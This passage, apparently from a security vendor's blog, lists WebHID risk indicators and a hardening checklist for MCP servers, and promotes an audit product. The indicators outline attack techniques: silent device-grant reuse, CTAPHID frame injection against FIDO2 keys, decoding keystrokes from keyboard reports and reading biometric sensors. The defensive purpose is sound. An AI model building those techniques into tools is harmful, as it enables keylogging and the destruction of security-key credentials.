Silent device re-acquisition: getDevices() called on page load without user gesturenavigator.hid.getDevices() called outside a user interaction handler (not inside a click, keydown, or other user gesture event); indicates silent grant re-use on tool initialization; high-confidence indicator of persistent grant exploitation.
MEDIUM
HID descriptor enumeration: device.collections iteration for protocol reverse-engineering — systematic iteration over device.collections, inputReports, outputReports, and items properties without any vendor-specific filtering; indicates automated protocol discovery rather than legitimate device communication.
LOW
Broad device filter: requestDevice() with empty filter or usagePage-only filter matching hundreds of devicesrequestDevice({ filters: [] }) or filters with only usagePage that match broad device categories; over-permissive request that may surface unexpected high-value devices (keyboards, security keys) to the tool.

SkillAudit scans all MCP server tool output for WebHID API usage, CTAP byte sequence injection patterns, HID report injection signatures, biometric sensor access, and unauthorized security key enumeration. Our scanner uses both static pattern matching and semantic analysis to detect obfuscated CTAPHID frame construction. Run a free audit at skillaudit.dev to get a graded WebHID risk report for your MCP server in under 60 seconds.

Security checklist for MCP servers that use WebHID

  1. Does the tool call navigator.hid.getDevices() on page load or tool initialization without a user gesture? This is silent grant re-use.
  2. Does the requestDevice() filter array include FIDO2 usage page (usagePage: 0xf1d0) or known security key vendor IDs (0x1050, 0x18d1, 0x1d6b, 0x096e)?
  3. Does any sendReport() call construct data that matches CTAPHID framing (4-byte CID, CMD byte with MSB set, BCNT, payload)?
  4. Does any inputreport handler decode keycode bytes from 8-byte keyboard reports and buffer or transmit the result?
  5. Does any inputreport handler access raw report data from a device with biometric usage page (0x000d or 0x0020)?
  6. Is the tool served from the same origin as other MCP tools? If so, grants made to any tool are inherited by all tools on that origin.
  7. Is the MCP host page served with Permissions-Policy: hid=() to block WebHID access in sub-frames?
  8. Is there an enterprise Chrome policy (WebHidBlockedForUrls) blocking all MCP tool origins from HID device access by default?
  9. Are users informed that granting WebHID access to a FIDO2 security key allows the tool to permanently destroy all credentials stored on that key?
  10. Does the tool call device.close() after completing its operation, rather than leaving the device open for the lifetime of the page?

Run a WebHID security audit on your MCP server

SkillAudit's static analysis engine detects CTAPHID protocol injection, HID keyboard report construction, biometric sensor event listeners, and silent grant re-acquisition patterns in public MCP servers and Claude skills. The WebHID scanner is part of our full hardware API risk module, which also covers HID device security reference patterns and WebUSB DFU and control transfer risks. Paste your GitHub URL to get a graded report in under 60 seconds.

Audit your MCP server →

Related reading: WebUSB API deep dive · HID API security reference · Compression Streams API deep dive · Web Locks API deep dive · All blog posts